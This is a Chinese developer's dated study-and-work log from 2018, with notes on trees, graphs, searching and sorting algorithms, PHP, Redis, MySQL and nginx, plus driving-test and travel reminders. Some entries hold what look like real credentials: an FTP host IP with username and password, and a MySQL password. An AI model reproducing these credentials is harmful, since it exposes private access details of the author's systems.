最长公共子串和最长公共子序列
==========================================================================2018年10月15日记录:
1.字符串翻转:1.abcdef转成defabc2.abc->cbadef->fed3.cbafed->defabc字符串逆序的函数while($from<$to){$t=$str[$from];$str[$from++]=$str[$to];$str[$to--]=$t;2.字符串逆序的函数:第一个字符和最后一个字符调换,第二和倒数第二调换,from++to--,用一个temp临时变量,while循环条件from
==========================================================================2018年10月12日记录:
==========================================================================2018年10月11日记录:
请实现一个函数,将一个字符串中的每个空格替换成“%20”。例如,当字符串为WeAreHappy.则经过替换之后的字符串为We%20Are%20Happy。
==========================================================================2018年10月10日记录:
3.模板重复打印问题,查看生成的php缓存文件,已经出现两次了,很明显就是多次include模板了4.迪杰克斯拉算法核心,一组包含已经找到最短路径的顶点,另一组包含剩余未确定最短路径的顶点,以起始点为中心向外遍历直到搜索到终点为止,穷举策略P//最短路径下标数组D//各点最短路径的权值和求v0到v的最短路径P[v]和带权长度D[v]forv=0;v ==========================================================================2018年10月9日记录: Redishash是一个string类型的field和value的映射表,hash特别适合用于存储对象。1.hmsetclickcoutip"127.0.0.1"product_id"123"time"15234343434"2.HGETALLclickcout 1.zaddclickcout205id_1242..sortclickcoutbyid_*limit010desc (error)MISCONFRedisisconfiguredtosaveRDBsnapshots,butiscurrentlynotabletopersistondisk.Commandsthatmaymodifythedatasetaredisabled.PleasecheckRedislogsfordetailsabouttheerror.1.强制关闭redis快照引起的2.configsetstop-writes-on-bgsave-errorno ==========================================================================2018年10月8日记录: 同时包含数字、大写字母、小写字母、特殊字符中三种组合70004连续3位及以上数字不能连号(例如123、654)70005连续3位及以上字母不能连续和相同(例如abc、cbaaaa)70006密码不包含账号70007长度8到20位70002 日志业务的流程:应用产生日志→采集→传输→按需过滤与转换→存储→分析与查看。2.根据数据的不同维度,对数据进行分类、分级。例如:我们从日志中区分error、info、和debug3.平台扩展做加减法,我们在查询时都增加分布式缓存,纵向扩展:如增加扩展磁盘和内存。 JavaScript由三部分组成:1.ECMAScript(核心)作为核心,它规定了语言的组成部分:语法、类型、语句、关键字、保留字、操作符、对象2.DOM(文档对象模型)3.BOM(浏览器对象模型)4.ECMAScript第五个版本ES6是第六个版本5.ES6块级作用域关键字let,常量const,对象字面量的属性赋值简写,赋值解构,函数参数-默认值、参数打包、数组展开(Default、Rest、Spread),箭头函数Arrowfunctions,字符串模板Templatestrings,Iterators(迭代器)+for..of,生成器(Generators),class,Modules,Map+Set+WeakMap+WeakSet,Promises是处理异步操作的对象,Symbol是一种基本类型通过调用symbol函数产生,Symbol是一种基本类型。Symbol通过调用symbol函数产生 6.wepy小程序开发组件7.Weex框架可在本地像编写web页面一样编写一个app的界面,然后通过命令行工具将之编译成一段JavaScript代码,生成一个Weex的JSbundle能够完美兼顾性能与动态性,让移动开发者通过简捷的前端语法写出Native级别的性能体验,并支持iOS、安卓、YunOS及Web等多端部署。巨坑 从某个源点到其余各顶点的最短路径问题:1.人脑是来创造而不是做枯燥复杂的计算的,那些背圆周率的有啥意义2.迪杰斯特拉算法,思路是:v0,v1,v2,v3,v4,v5v0到v1到v2v0到v1到v3v0到v1到v4v0到v1到v5所有可能性都算一遍,取最小的边 ==========================================================================2018年9月30日记录: 1.网图和非网图,最短路径的含义不同,非网图没有边上的权值,指两点之间经过的边数最少的路径2. 明天国庆节 ==========================================================================2018年9月29日记录: is_uploaded_file—判断文件是否是通过HTTPPOST上传的如果filename所给出的文件是通过HTTPPOST上传的则返回TRUE。这可以用来确保恶意的用户无法欺骗脚本去访问本不能访问的文件,例如/etc/passwd。 ==========================================================================2018年9月28日记录: 最小生成树:1.例子在村庄之间架设通信网络,村庄之间有不同的距离,用最小的成本完成这次任务2.这是个带权值的图,即网结构,所谓最小成本就是n个顶点用n-1条边,权值和最小3.连通图的生成树是一个极小的连通子图,足以构成一棵树的n-1条边,构造连通图的最小代价生成树称为最小生成树4.两种经典算法:普里姆算法和克鲁斯卡尔算法 ==========================================================================2018年9月27日记录: 1.图的深度优先遍历类似前序遍历,图的广度优先类似树的层序遍历2.将图进行变形,根据顶点和边的关系进行层次划分,使用队列来进行遍历3.广度优先遍历的关键点是使用一个队列来把当前结点的所有下一级关联点存进去,依次进行 邻接矩阵的广度优先遍历:BFS(G)fori=0;i ==========================================================================2018年9月26日记录: 排序算法稳定性:1.如果Ai=Aj,排序前Ai在Aj之前,排序后Ai还在Aj之前,则称这种排序算法是稳定的,保证排序前后两个相等的数的相对顺序不变2.排序算法如果是稳定的,那么从一个键上排序,然后再从另一个键上排序,前一个键排序的结果可以为后一个键排序所用3.稳定性算法:冒泡平均n^2最好n最坏n^2不稳定算法:选择平均n^2 山一程,水一程,身向榆关那畔行,夜深千帐灯。风一更,雪一更,聒碎乡心梦不成,故园无此声 ==========================================================================2018年9月25日记录: 图的邻接表实现方式:1.顶点数组,需要存储指向第一个邻接点的指针2.每个顶点Vi的所有邻接点构成一个单链表,无向图称为顶点Vi的边表,有向图称为顶点Vi作为弧尾的出边表 ==========================================================================2018年9月21日记录: quickSort&arr,left,rightifleft>rightreturntemp=arr[left]i=leftj=rightwhilei quickSort(arr,left,i-1)quickSort(arr,i+1,right) 奥帆中心八大关第二海水浴场海军博物馆鲁迅公园小青岛公园栈桥天主教堂→胶澳总督府旧址→江苏路基督教堂→德国总督府旧址→信号山公园→德国监狱旧址博物馆中国海洋大学(鱼山校区)→大学路→鱼山路→中山公园→奥帆中心→五四广场 流清→太清宫→华严寺→仰口 深度优先遍历DFS:DFSTravserseGfori=0;i ==========================================================================2018年9月20日记录: 1.php连ftp:ini_set('display_errors','On');error_reporting(E_ALL);$connection=ftp_connect('121.43.225.32',21,60)ORdie('connectionfailure');ftp_login($connection,'ringochan','ringochan')ORdie('loginfailure');ftp_pasv($connection,false);//关键var_dump(ftp_pwd($connection));var_dump(ftp_nlist($connection,"/"));ftp_close($connection); 2.linuxftp客户端open121.43.225.32lsput/home/ubuntu/taoshihan.txtsnow.wolf2.txtgetsnow.wolf2.txta.txt PORT模式:当数据传输时,客户端建立套接字接听。绑定port中的端口。服务器中使用的端口是20;PASV模式:当数据传输时,服务端建立套接字接听。客户端去连接pasv中指定的端口。这时候服务器端用的端口不是20,而是pasv中的端口。 3.php7.0中的错误日志的配置/etc/php/7.0/cli/php.ini 图的物理存储的实现:邻接矩阵邻接链表十字链表邻接多重表有向图的存储方法:十字链表无向图存储的优化:邻接多重表 图的遍历:1.从图中某一顶点出发访遍图中其余顶点,且使每个顶点仅被访问一次2.需要给访问过的顶点打上标记,设置个数组visited[n],访问过后设置为13.遍历次序:深度优先遍历和广度优先遍历深度优先遍历DFS:1.类似走迷宫右手定则,走一个做标记,一直往右走,直到重复了,就退回上一个顶点2.从某个顶点v出发访问和v有路径相通的顶点,递归调用 ==========================================================================2018年9月19日记录: pdo获取受影响的行数:$stmt=$pdo->prepare($sql);$bool=$stmt->execute();$rowCount=$stmt->rowCount(); 我的187测试机的adminlog地址:/mnt/entmail/ent_pent/appdev.sinanet.com/adminlog/线上是:/mnt/email_vol/ent_pent/sunway-logistics.sinanet.com/adminlogcat2018.log|awk-F'\t''{print$6}'|whilereadmsg;dobase64-d;done|greppame 邻接矩阵实现图的创建:1.fori=0;i ==========================================================================2018年9月18日记录: mysql的并发控制:1.只要有多个查询在同一时刻修改数据,都会产生并发控制的问题2.unix下的emailbox,通过锁防止数据损坏,多个同时投递要等待锁释放才能进行,不支持并发3.在处理并发读或者写时,有两种类型的锁共享锁和排他锁;也叫读锁和写锁4.读锁是共享的,相互不阻塞,同一时刻可以同时读取同一个资源;写锁是排他的,一个写锁会阻塞其他写锁和读锁5.锁的策略就是在锁的开销和数据安全性之间寻找平衡,因为行级锁虽然支持并发但是性能消耗比较多6.表锁,开销最小的策略,一个用户对表进行写操作时,先获得写锁,会阻塞其他用户对该表的所有读写操作,只有没有写锁时,其他用户才能获得读锁,读锁是不会相互阻塞的7.行级锁,最大程度支持并发处理,但是会有很大的锁开销8.读读不互斥,读写互斥,写写互斥 stripos—查找字符串首次出现的位置(不区分大小写),应使用===运算符来测试此函数的返回值if(stripos($newpwd,$account->getLocal())!==false){}curlcookiecurl_setopt($ch,CURLOPT_COOKIEFILE,"cookiefile"); ==========================================================================2018年9月17日记录: 增强密码组合策略,数字、大小写字母、特殊字符中3种组合,长度8到20位。密码规则:长度8到20位密码不包含账号和空格连续3位及以上数字不能连号(例如123、654)连续3位及以上字母不能连续(例如abc、cba)不能包含连续3个及以上相同字符(例如aaa、rrr)同时包含数字、大写字母、小写字母、特殊字符中三种组合 1.直接判断长度8到20之间2.定义一个关联数组,大写,小写,字母,数字,默认对应都是0,字符转成ascii码,遍历字符串根据码表范围判断,如果符合就修改对应的数组元素为13.数组求和小于3的说明没有符合任三种组合4.正则取出对应的数字,遍历从0开始到arr.length-2为止,a=arr[i]-arr[i+1]取绝对值,b=arr[i+1]-arr[i+2]取绝对值,a==b==1说明三个是连续的a==b==0说明三个是一样的5.正则取出字母,转成ascii码,处理规则与上面的一样 图的存储结构:1.顶点是逻辑上的相对的概念2.不可以用顺序存储,不可以像多重链表,一个数据域多个指针域,浪费太大3.邻接矩阵,两个结构分别存储,顶点用一个一维数组,边是顶点和顶点的关系用二维数组存储3.1一维数组存顶点(v0,v1,v2),二维矩阵存关系,无向图是一个对称矩阵v0v1v2v00v10v203.2判断顶点Vi和Vj是否存在弧,只需查找矩阵arc[i][j]V4.图结构定义MGraphvexs[3]//顶点arc[3][3]//边numVex//顶点数numArc//边数 ==========================================================================2018年9月14日记录: 1.未正确使用安全带2.定点停车超过边线30cm未超过50cm3.曲线行驶左后轮压线4.坡道起步溜车超过50cm5.倒车入库左前轮压七米线 ==========================================================================2018年9月12日记录: 大附件问题:1.nginx超时2.读取mda的返回超时 删除重复的结点:1.在一个排序的链表中,存在重复的结点,请删除该链表中重复的结点,重复的结点不保留,返回链表头指针。例如,链表1->2->3->3->4->4->5处理后为1->2->5 图数据结构:1.第一个顶点到最后一个顶点相同的路径称为回路或环,顶点不重复出现的称为简单路径;除顶点和最后一个顶点不重复出现的回路,称为简单回路或简单环2.连通图,所有的顶点都可以连通;无向图中的极大连通子图称为连通分量,子图要连通具有极大顶点数图的抽象数据类型1.createGraph(*G,v,vr):顶点集v和边弧集vr构造图2.locateVex(G,u):存在顶点u,返回图中的位置3.getVex(G,v):返回G中国顶点v的值4. ==========================================================================2018年9月11日记录: 2.输入两个链表,找出他们的第一个公共结点: ==========================================================================2018年9月10日记录: 复杂链表的复制(每个结点中有结点值,两个指针,一个指向下一个结点,另一个指向任意一个结点),返回复制后复杂结点的head 1.ApacheServiceComb(incubating)2.ServiceComb提供了一套包含代码框架生成,服务注册发现,负载均衡,服务可靠性(容错熔断,限流降级,调用链追踪)等功能的微服务框架。3.Serverless并不意味着没有服务器,只是服务器以特定功能的第三方服务的形式存在4.使用区块链来做防伪溯源5.微服务云平台区块链大数据人工智能 ==========================================================================2018年9月7日记录: 合并两个排序的链表,已解决 北医三院中午11点 ==========================================================================2018年9月6日记录: 重建二叉树,输入二叉树前序(中左右)和中序遍历(左中右)的结果,重建出二叉树:找到中序的根结点,中序根结点左边的都是左孩子,右边的都是右孩子 ==========================================================================2018年9月5日记录: 鲁棒性:程序在非正常情况下(输入不符合规定等)不会出错或崩溃反转链表:1.常见方法分为迭代和递归,迭代是从头到尾,递归是从尾到头2.设置两个指针,old和new,每一项添加在new的后面,新链表头指针指向新的链表头3.old->next不能直接指向new,而是应该设置一个临时指针tmp,指向old->next指向的地址空间,保存原链表数据,然后old->next指向new,new往前移动到old处new=old,最后old=tmp取回数据while(old!=null){tmp=old->nextold->next=newnew=oldold=tmp} 推荐的书:深入理解计算机系统、现代操作系统、C程序设计语言、C语言数据结构和算法、Unix环境高级编程、TCP/IP网络通信详解算法导论,大话数据结构,剑指offerJava面向对象编程、Java编程思想、J2EEPHP5权威编程 深入理解计算机系统:第五章优化程序性能OptimizingProgramPerformance第六章存储器层次结构TheMemoryHierarchy第八章异常控制流ExceptionalControlFlow第九章虚拟存储器VirtualMemory ==========================================================================2018年9月4日记录: 上传图片接口:$file=$_FILES[$name];$attarr["content"]=file_get_contents($file["tmp_name"]); 多路查找树(B树)1.善于使用文字的人,通常是深沉而严谨的2.从磁盘上进行不断的数据处理,为了降低对外存设备的访问次数,需要新的数据结构3.每一个结点孩子数多于两个,每个结点存储多个元素,所有元素存在某种特定排序关系4.四种特殊形式:2-3树2-3-4树b树b+树2-3树:1.2结点包含一个元素和两个孩子,与二叉搜索树类似,但是要么没有孩子,要么就有两个2.3结点包含一小一大两个元素和三个孩子, 剑指offer1.二维数组中查找,从左下角开始查找,当要查找数字比左下角数字大时。右移,要查找数字比左下角数字小时,上移2.输入一个链表,输出该链表中倒数第k个结点。第一个指针走(k-1)步,到达第k个节点,两个指针同时往后移动,当第一个结点到达末尾的时候,第二个结点所在位置就是倒数第k个节点了 ==========================================================================2018年9月3日记录: 上线企邮客户端上线pop代收的redis 二分查找的过程是一棵二叉树1.最坏情况lgn+1,最好情况1,最终是O(lgn)2.前提条件是需要有序表顺序存储,对于频繁插入和删除的不建议使用 插值查找:1.为什么是折半而不是折四分之一或更多,每次都一半有点效率低了2.改进mid=low+1/2(hign-low)3.mid=low+(key-a[low])/(a[hign]-a[low])(hign-low)插值查找法4.对于表长较大,关键字分布又比较均匀的查找表,插值比折半高的多 斐波那契查找1.利用黄金分割原理2.low=1;hign=n;while(n>f[k]-1){k++} 线性索引查找:索引就是把一个关键字与它对应的记录关联的过程,每个索引项至少包含关键字和对应记录在存储器中的位置,组织大型数据库以及磁盘文件的一种重要技术按照结构:线性索引,树形索引,多级索引三种线性索引:稠密索引,分块索引,倒排索引稠密索引:将数据集中的每个记录对应一个索引项,一定是按照关键码有序的排列分块索引:块内无序,块间有序,第二块比第一块所有都大,块间有序可以提升效率,每一块对应一个索引项,分块索引表.先二分或者插值查找分块,然后在分块内部进行顺序查找 分块索引的三个数据项1.最大关键码,之后的块在比较的时候方便2.块中存储的记录个数,方便循环3.指向块首数据元素的指针,便于对记录进行遍历 master进程主要用来管理worker进程,具体包括如下4个主要功能:(1)接收来自外界的信号。(2)向各worker进程发送信号。(3)监控woker进程的运行状态。(4)当woker进程退出后(异常情况下),会自动重新启动新的woker进程 ==========================================================================2018年8月31日记录: open_basedir将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。 1.顺序表查找:for(i=1;i<=n;i++){a[i]==keyreturn}顺序表查找的优化:解决每次都要对i是否小于n作比较,设置一个哨兵,如果查找失败,一定会在结尾a[0]处等于key,此时返回0;免去了每次都判断是否越界a[0]=key;i=n;while(a[i]!=key){i--} 有序表查找:2.折半查找:取中间记录的查找方法,又称为二分查找.前提是线性表中的记录必须是有序的,取中间记录作为比较对象,若关键字相等则查找成功,若小于则在左半区查找,若大于则在右半区查找leftmidrightwhile(left ==========================================================================2018年8月30日记录: PHP读取命令行输入:$handle=fopen("php://stdin","r");$line=fgets($handle); 前序遍历生成二叉树functioncreateBinTree(){$handle=fopen("php://stdin","r");$e=trim(fgets($handle));var_dump($e);if($e=="#"){$binTree=null;}else{$binTree=newBinTree();$binTree->data=$e;$binTree->left=createBinTree();$binTree->right=createBinTree();}return$binTree;} 查看两个段是否有交集:publicstaticfunctionisIntersect($oldIps,$newIps){if($newIps[0]>$newIps[1]){returnfalse;}foreach($oldIpsas$old){if($old[0]<=$newIps[0]&&$newIps[0]<=$old[1]){returnfalse;}if($old[0]<=$newIps[1]&&$newIps[1]<=$old[1]){returnfalse;}if($newIps[0]<=$old[0]&&$old[1]<=$newIps[1]){returnfalse;}}returntrue;}查找:根据给定的某个值,在查找表中确定一个其关键字等于给定值的数据元素查找表:同一类型的数据元素构成的集合关键字:数据元素中某个数据项的值,又称为键值,可以唯一标识一个记录,称为主关键字主关键码:主关键字所在的数据项次关键字:可以识别多个数据元素或记录查找表按照操作方式分为:静态查找表和动态查找表静态查找表:只查找操作的查找表,查询某元素是否在查找表中,查询某元素的属性等动态查找表:在查找过程中同时插入查找表中不存在的数据元素,或者删除已存在的元素查找结构:专门为查找操作设置的数据结构,为了提高查找扥性能,在存储时可以将查找组织成表和树等结构1.顺序表查找: 科目二坡起溜车,倒车入库压左边线 ==========================================================================2018年8月29日记录: 二叉树的建立:将二叉树中每个结点的空指针引出一个虚结点,其值为特定值#,处理二叉树为原二叉树的扩展二叉树,扩展二叉树做到一个遍历序列确定一棵二叉树 下午考科二 ==========================================================================2018年8月28日记录: 企邮pop代收redis队列改造:企邮官网海外提示 创建一个循环链表//头结点指向自身$linkList->next=$linkList;//最后一个结点指向头结点$node->next=$linkList; 明天下午考科目二:1.身份证2.安全带3.身子对准两条红色线 ==========================================================================2018年8月27日记录: logo图:width:330px;height:50px;背景图width:500px;height:350px; $list=newNode();$list->next=null;$temp=$list;for($i=0;$i<10;$i++){$node=newNode();$node->data="aaa{$i}";$node->next=null;$temp->next=$node;$temp=$node;} 明天早上8点龙泉驾校考前集训后天下午科目二考试 ==========================================================================2018年8月24日记录: 企邮api调用客服token 树转换成二叉树:1.加线,所有兄弟节点间加一条连线2.去线,只保留它与第一个孩子结点的连线,删除与其他孩子结点的连线3.层次调整,以树的根结点为轴心,将整棵树顺时针旋转一定的角度4.第一个孩子是二叉树结点的左孩子,兄弟转换过来的孩子是结点的右孩子5.森林转换成二叉树,可以理解为森林里的每棵树都是兄弟 二叉树转换成树1.加线,若某结点的左孩子结点存在,就把这个左孩子的右孩子结点和该结点相连2.去线,删除原二叉树中所有结点与其右孩子结点的连线3.二叉树转换成森林,从根结点开始,若右孩子存在,就把之间的连线删除 树的遍历分为先根遍历和后根遍历1.先访问根结点,依次先根遍历树的每颗子树2.后根遍历,先依次后根遍历每棵子树,再访问根结点赫夫曼编码-最基本的压缩编码方法赫夫曼树-叶子结点带权的二叉树 线性表的顺序存储结构,在内存中找一块地,通过占位的形式,把一定的内存空间给占了,一维数组来实现顺序存储结构三个属性,数组data,数组长度MAX_SIZE,当前长度length 1.PHP中的数组实际上是有序映射,可以当成数组,列表,散列表,字典,集合,栈,队列,不是固定的长度2.数组定义中多个单元都使用了同一个键名,则只使用了最后一个,之前的都被覆盖了3.想要函数的一个参数总是通过引用传递,可以在函数定义中该参数的前面加上符号&4.PHP的引用是别名,就是两个不同的变量名字指向相同的内容;“默认情况下对象是通过引用传递的”。但其实这不是完全正确的,当对象作为参数传递,作为结果返回,或者赋值给另外一个变量,另外一个变量跟原来的不是引用的关系,只是他们都保存着同一个标识符的拷贝 ==========================================================================2018年8月23日记录: 漢語拼音TaoShiHanTauShihan注音二式TauShrHan通用拼音TaoShihHan威妥瑪拼音T'aoShihHan耶魯拼音TauShrHan ==========================================================================2018年8月22日记录: echo`date`ls==2>>1.logdate|xargsechols==2>>1.logxargs命令是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具,将标准输入数据转换成命令行参数,xargs能够处理管道或者stdin并将其转换成特定命令的命令参数,xargs是构建单行命令的重要组件之一 分治策略:分解,将问题划分为子问题,子问题形式与原问题一样,规模更小解决,递归求解出子问题合并,子问题的解组合成原问题的解 pow(x,y),pow()函数返回x的y次方。log()自然对数。以E为底log10()以10为底的对数。 自然对数以常数e为底数的对数,记作lnN(N>0)对数函数lg,是以10为底的对数(常用对数),如lg10=1,lg即为log10阶乘指从1乘以2乘以3乘以4一直乘到所要求的数 明天预约科目二考试:1.身份证必须带2.安全带必须系 mysql_select_db("byzx",$con);$res=mysql_query("droptabletest");$res=mysql_query("createtabletest(idint)");var_dump(mysql_error()); ==========================================================================2018年8月21日记录: ==========================================================================2018年8月20日记录: 中序遍历加线索化二叉树,递归实现:InThreading(p->lchild);如果没有左孩子,p->lchild=pre如果前驱没有右孩子,pre->rchild=p;因为此时还没有访问到后继,InThreading(p->rchild);pre=p,以便下次使用如果所采用的二叉树需要经常遍历或查找结点时需要某种遍历序列中的前驱和后继,采用线索二叉链表存储结构非常不错 ==========================================================================2018年8月17日记录: date当前日期:echo`date+%Y%m%d` 1.排序渐进表示分治法概率分析线性规划最短路径动态规划最长公共子序列2.拓扑排序求凸壳顶点的好方法3.NP完全问题没有有效算法但是有近似算法4.插入排序n^2归并排序大致nlgn,因子n*n比较n*lgn,后者要小得多;规模小的时候插入比归并快,超出这个交叉点归并排序更快log2n当n是1000的时候,lgn大致等于10 RedisDesktopManager(akaRDM)—isafastopensourceRedisdatabasemanagementapplicationforWindows,LinuxandMacOS. ==========================================================================2018年8月16日记录: 线索二叉树:1.每个结点增设两个标志域ltag,rtag只是存放0和1,lchildltagdatartagrchild2.ltag为0指向左孩子,1指向前驱;rtag为0指向右孩子,1指向后继3.线索化的过程就是遍历过程中修改空指针的过程 ==========================================================================2018年8月15日记录: thinkphp的重写去掉index.php,一般重写成index.phps=$1,index.phps=/admin/index 组件:1.大型框架很难集成自定义的库或第三方库的日子一去不复返了2.从不断增多的大量专用组件中选择合适的 线索二叉树:1.有n个结点的二叉链表,一共是2n个指针域,有n-1个分叉线,有2n-(n-1)=n+1个空指针域非常的浪费2.利用空地址存放指向结点在某种遍历次序下的前驱和后继结点的地址3.把这种指向前驱和后继的指针称为线索,加上线索的二叉链表称为线索链表,相应的二叉树称为线索二叉树4.所有空指针域中的lchild指向前驱,rchild指向后继结点,将一棵二叉树转变成了双向链表,这就是线索化 ==========================================================================2018年8月14日记录: 二叉链表:1.链式存储结构.每个结点有两个孩子,设计一个数据域,两个指针域,叫做二叉链表2.遍历二叉树二叉树的遍历:从根结点出发,按照某种次序依次访问二叉树中的所有结点,每个结点仅被访问一次[访问和次序],对于计算机来说它只会处理线性序列前序遍历:先访问根结点,前序遍历左子树,前序遍历右子树;中左右中序遍历:左中右preOrderFunc(T->lchild);printf("%c",T->data);preOrderFunc(T->rchild)后序遍历:左右中preOrderFunc(T->lchild);preOrderFunc(T->rchild);printf("%c",T->data);层序遍历:一层层的遍历前序遍历递归代码:printf("%c",T->data);preOrderFunc(T->lchild);preOrderFunc(T->rchild) 推导遍历结果:前序abcdef(中左右)中序cbaedf(左中右)后序遍历结果是多少(左右中)cbefdaabdcef中序abcdefg后序bdcafge前序eacbdgfeagcfbd1.已知前中可以唯一确定一颗二叉树2.已知后中可以唯一确定一棵二叉树3.已知前后不能确定一棵二叉树 二叉树创建:利用递归的原理,只不过在原来打印结点的地方,改成了生成结点,给结点赋值的操作if(ch=='#'){*T=NULL;}else{malloc();(*T)->data=ch;createFunc((*T)->lchild);createFunc((*T)->rchild);} php://—访问各个输入/输出流(I/Ostreams) ==========================================================================2018年8月13日记录: 上线企邮客服限制企业后的个人发信限制 科目二早上学车已挂,1.没有带身份证2.没有系安全带3.定点停车离右边太远4.速度太快曲线行驶压线 ==========================================================================2018年8月10日记录: 1.完全二叉树的顺序存储,存到一维数组中,相应的下标存入到同样的位置2.一般的二叉树,也可以按上面的存储,但是空的地方设置为^表示不存在,但是对于斜树不同 nginxthinkphpindexindex.htmlindex.htmindex.php;11if(!-e$request_filename){12rewrite^/(.*)$/index.phps=$1last;13break;14}15location~\.php${16fastcgi_pass127.0.0.1:9000;17fastcgi_indexindex.php;18fastcgi_paramSCRIPT_FILENAME$document_root$fastcgi_script_name;19includefastcgi_params;20fastcgi_split_path_info^(.+\.php)(/.*)$;21fastcgi_paramPATH_INFO$fastcgi_path_info;22} ==========================================================================2018年8月9日记录: 1.性状可以把模块化的实现方式注入多个无关的类中,介于类和接口之间的traitMyTrait{},建议一个文件只定义一个性状,导入是在类定义体内useMyTait2.DRY原则DontRepeatYourself3.spl_autoload_register()实现了各自特有的自动加载器PSR-1:基本的代码风格,PSR-2严格的代码风格,PSR-3日志记录器接口,PSR-4自动加载(命名空间前缀与文件目录对应起来)4.zendopcachephp内置的字节码缓存,php解释器不需要每次都读取解析和编译php代码,会从内存中读取预先编译好的字节码,需要配置扩展和php.ini ==========================================================================2018年8月8日记录: 1.PHP引擎,ZendEngineHipHopVM(Facebook开发的,使用即时编译器JIT提升性能)Hack语言(静态类型,新的数据结构,额外的接口)2.命名空间:按照一种虚拟的层次结构组织代码,类似操作系统的文件目录结构,子命名空间用\分割,PHP解释器会将其作为前缀加到类等前面,现代PHP组件系统的基础,namespaceT;3.使用use关键字导入时无需在头加开\,PHP假定导入的是完全限定的命名空间4.usefunc导入函数,useconstant导入常量5.命名空间为PHPFrameworkInteropGroup(PHP-FIG)制定的PSR-4自动加载器标准奠定基础6.PHP接口是两个对象之间的契约,都实现了同样的接口addDocument(Documentable$document),Documentable是个接口定义了两个公开方法7. ==========================================================================2018年8月7日记录: 2.安装php的redis扩展yuminstallphp-redis 3.如何设置一个严格30分钟过期的Session通过session_save_path()来获取session文件的存储位置。然后依次读取每个文件并反序列化。把session写到memcache或数据库里 ==========================================================================2018年8月6日记录: Vagrant是一个基于Ruby的工具,用于创建和部署虚拟化开发环境 ==========================================================================2018年8月3日记录: 二叉树:n个结点的有限集合,根结点的左子树和右子树组成,查找起来效率特别高1.每个结点最多有两颗子树2.左子树和右子树都是有顺序的,次序不能颠倒3.即使只有一棵树,也要区分左子树和右子树4.斜树,左斜树,右斜树,每一层只有一个结点5.满二叉树,很完美,所有的分支结点都存在左子树,右子树,所有叶子在同一层6.完全二叉树,按层序编号,结点位置和满二叉树一致,按层序标号不能有空档二叉树的性质:1.第i层上,最多有2的i-1次方个结点2.深度为k,最多有2的k次方-1个结点3.终端结点数是n0,度为2的结点数是n2则n0=n2+14.具有n个结点的完全二叉树的深度为[log2n]+1二叉树的存储结构:1.顺序存储结构也可以实现存储二叉树,将二叉树上的结点按照层序编号,顺序存储在一维数组中,一般存完全二叉树最合适,其他的二叉树会有空间浪费2. ==========================================================================2018年8月2日记录: 孩子双亲表示法:1.设计两种结点结构,孩子链表的孩子结点child和next和parent2.表头数组的表头结点,data和firstchild ==========================================================================2018年8月1日记录: 1.linux的ss命令socketstatistics,默认输出tcp,udp,andunixsocket三种类型的连接ss-tnl查看监听的端口-p显示进程2.namespace是Linux内核用来隔离内核资源的方式,为docker等容器技术的出现和发展提供了基础条件 ==========================================================================2018年7月31日记录: ==========================================================================2018年7月30日记录: 404页面更新 ==========================================================================2018年7月27日记录: redis的内存统计:redis-cli连接后使用infomemory命令查看内存redis数据存储的细节:内存分配器(jemalloc),简单动态字符串SDS,5种对象类型及内部编码,redisObject 树是n个结点(n>=0)的有限集,n=0时是空树,n>1时可分为m个互不相交的有限集,每一个集合本身是根的子树1.n>0时根结点是唯一的2.m>0时子树的个数没有限制,但一定互不相交3.结点拥有的子树个数称为结点的度,度为0的结点称为叶结点或终端结点==========================================================================2018年7月26日记录: ==========================================================================2018年7月25日记录: 数据库创建提案 1.串的链式存储结构不如顺序存储结构性能好,顺序存储结构,计算机中存在一个自由存储区,叫做"堆",可以由malloc()和free()来管理2.朴素的模式匹配,字串的定位操作通常称为串的模式匹配 ==========================================================================2018年7月24日记录: linux进程的三态模型:1.就绪状态:获得了除cpu之外的必要资源2.执行状态:获得了cpu,正在执行3.阻塞状态:等待某个事件发生而无法执行 使用@font-face调用服务器端字体的代码:@font-face{font-family:name;src:url(url);sRules} ==========================================================================2018年7月23日记录: ==========================================================================2018年7月20日记录: 1.登陆验证2.前端效果3.短信验证4.发送短信5.模板展示 ==========================================================================2018年7月19日记录: MySQL的flushprivileges语法:将当前user表的用户信息和privilige表的权限设置从mysql库(就是mysql数据库的内置库)提取到内存里只允许内网用户访问:updateusersetHost='172.16.%.%'whereUser='root'; 查看PHP脚本的错误日志:php-i|greperrorerror_log=>/var/log/php_errors.log=>/var/log/php_errors.log 1.CI框架的分组的控制器里面必须得有__contruct方法2.apacherewrite避免影响静态文件RewriteRule^/([^\.]+)$/web.php/$1RewriteRule^/((!static).*)/web.php/$1除了static目录以外的其他所有 ==========================================================================2018年7月18日记录: 何时需要建立索引1.主键自动建立唯一索引。2.频繁作为查询条件的字段应该创建索引。3.查询中与其他表关联的字段,4.外键关系建立索引。5.频繁更新的字段不适合建立索引,因为更新不单单要跟新数据还要跟新索引,加重了IO的负担。6.where条件里用不到的字段不创建索引。7.在高并发下推荐创建复合索引。8.查询中排序的字段,排序字段如果通过索引去访问将大大提高排序速度。9.查询中统计或分组字段。(1)system:表示只有一行记录,一般不会出现,没有意义。(2)const:表示通过索引一次就可以找到。(3)eq_ref:唯一性索引扫描,对于每个索引键,表中只有一条数据与之对应。(4)ref:非唯一性索引扫描,返回匹配的所有行。(5)range:值检索给定范围的行,between、<>、in等。(6)index:遍历所有索引。(7)all:遍历全表(1)Usingfilesort:文件内排序,说明mysql使用了外部排序。(2)Usingtemporary:使用了保存中间结构。(orderby、groupby)(3)Usingindex:效率不错,表名使用了索引。(4)Usingwhere: varchar(50),在4.1版本之前代表50个字节;之后的版本代表50个字符char(50),最大字符个数50,尾部的空格会被删除;在进行检索的时候,char列会删除尾部的空格 ==========================================================================2018年7月17日记录: 1.串的比较是通过字符之间的编码来进行的,字符编码指的是字符在对应字符集中的序号2.s CentOS安装MySQL的默认密码:1.yuminstallmysqlmysql-sever2.cat/var/log/mysqld.log|grep"temporarypassword"3.setpassword=password('Tsh_203944_2'); ==========================================================================2018年7月16日记录: 访问统计排行榜问题:1.数据库持久化写日志,每日汇总当天的插入记录2.redis记录,使用哪个数据类型使用Redis实现实时排行榜,使用有序集合zset实现,ZADDkeyscore1member1[score2member2]添加,如果已经存在就更新ZRANGEkeystartstop[WITHSCORES]获取前几名ZSCOREkeymember获取某用户的分数 ==========================================================================2018年7月13日记录: ==========================================================================2018年7月12日记录: IP登陆限制问题: 